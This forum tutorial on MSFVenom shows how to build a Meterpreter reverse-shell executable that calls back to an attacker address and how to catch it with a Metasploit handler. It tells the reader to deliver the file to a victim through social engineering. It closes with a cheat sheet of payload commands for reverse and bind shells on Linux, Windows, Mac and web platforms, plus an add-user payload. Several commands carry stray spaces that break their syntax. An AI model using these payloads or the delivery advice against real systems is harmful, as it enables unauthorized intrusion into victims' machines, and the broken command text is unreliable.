How to use MSFVenom

Brother

Professional
Messages
2,565
Reputation
3
Reaction score
363
Points
83
In today's article, I'll show you how to use MSFVenom. You will learn how to create a Payload in MSFVenom. Also, I will give a list of all MSFVenom commands.

What is MSFVenom​

MSFVenom is a free tool to create a payload (malicious file). It is, so to speak, a cousin of Metasploit. With it, you can create various payloads, shellcode and reverse shells.

Back in 2015, it replaced the MSFPayload and MSFEncode tools.

What is MSFVenom.

Help has been added to the new version of MSFVenom. To display help type:

msfvenom -h

Msfvenom instruction.

How to use MSFVenom​

Reverse TCP (reverse connection, reverse shell, payload) - the scheme of interaction with the target computer. In simple terms. We create a malicious file (payload), after which the target computer will try to connect to our computer. This is called "backconnect" or, in our case, a reverse shell, because "backconnect" is an extensible concept.

To find out what payloads are available, enter the command:

msf5> msfvenom -l payloads

List of MSFVenom Commands

Or like this:

# msfvenom -l payloads

List of MSFVenom Payloads.

The following command will create a malicious executable file (reverse shell), after which it will open a Meterpreter session.
  • LHOST - The IP address of your computer (attacker).
  • LPORT - the port of your computer that is assigned to the server or program.
  • P - short for "payload", payload for the selected platform.
  • F Is a parameter that sets the file type, for example, exe for Windows.
msfvenom -p windows / x64 / meterpreter / reverse_tcp LHOST = 192.168.1.13 LPORT = 4444 -f exe -a x64 -o /home/infosecaddicts/infoecaddicts.exe

MSFVenom instruction. Payload creation.

Payload ready.

Creating a malicious MSFVenom file.

We have created a payload, now we move on to the next step. Run msfconsole and enter the commands:

msf> use exploit / multi / handler

You must enter the same data (IP address and port) that were used to create the reverse shell.

With this operation, we allow to accept the connection from the previously created reverse shell, which will be launched by the victim.

Msfvenom instruction.

After creating a malicious file, you need to send it to the victim. You can use social engineering techniques or any other method of delivering a malicious file.

After launching the created file, the Meterpreter session will open:

Meterpreter session.

Congratulations, you have access to your computer.

MSFVenom Teams​

When using MSFVenom, you should always have a cheat sheet on hand for the commands:

Meterpreter reverse shell x86 multi stage

msfvenom -p linux / x86 / meterpreter / reverse_tcp LHOST = IP LPORT = PORT -f elf> shell.elfLinux

Linux Meterpreter bind shell x86 multi stage

msfvenom -p linux / x86 / meterpreter / bind_tcp RHOST = IP LPORT = PORT -f elf> shell.elf

Linux bind shell x64 single stage

msfvenom -p linux / x64 / shell_bind_tcp RHOST = IP LPORT = PORT -f elf> shell.elf

Linux reverse shell x64 single stage

msfvenom -p linux / x64 / shell_reverse_tcp RHOST = IP LPORT = PORT -f elf> shell.elf

Windows Meterpreter reverse shell

msfvenom -p windows / meterpreter / reverse_tcp LHOST = IP LPORT = PORT -f exe> shell.exe

Windows Meterpreter bind shell

msfvenom -p windows / meterpreter / bind_tcp RHOST = IP LPORT = PORT -f exe> shell.exe

Windows CMD Multi Stage

msfvenom -p windows / shell / reverse_tcp LHOST = IP LPORT = PORT -f exe> shell.exe

Windows CMD Single Stage

msfvenom -p windows / shell_reverse_tcp LHOST = IP LPORT = PORT -f exe> shell.exe

Windows add user

msfvenom -p windows / adduser USER = hacker PASS = password -f exe> useradd.exe

Mac Reverse Shell

msfvenom -p osx / x86 / shell_reverse_tcp LHOST = IP LPORT = PORT -f macho> shell.macho

Mac Bind shell

msfvenom -p osx / x86 / shell_bind_tcp RHOST = IP LPORT = PORT -f macho> shell.macho

Python Shell

msfvenom -p cmd / unix / reverse_python LHOST = IP LPORT = PORT -f raw> shell.py

BASH Shell

msfvenom -p cmd / unix / reverse_bash LHOST = IP LPORT = PORT -f raw> shell.sh

PERL Shell

msfvenom -p cmd / unix / reverse_perl LHOST = IP LPORT = PORT -f raw> shell.pl

ASP Meterpreter shell

msfvenom -p windows / meterpreter / reverse_tcp LHOST = IP LPORT = PORT -f asp> shell.asp

JSP Shell

msfvenom -p java / jsp_shell_reverse_tcp LHOST = IP LPORT = PORT -f raw> shell.jsp

WAR Shell

msfvenom -p java / jsp_shell_reverse_tcp LHOST = IP LPORT = PORT -f war> shell.war

PHP Reverse Shell

msfvenom -p php / reverse_php LHOST = IP LPORT = PORT -f raw> phpreverseshell.php

We've created a payload for Windows, but we can create a payload for any other operating system, for example: Android, iOS, Liniux, etc. MSFVenom does it all.

That's all. Now you know how to use MSFVenom.
 
Top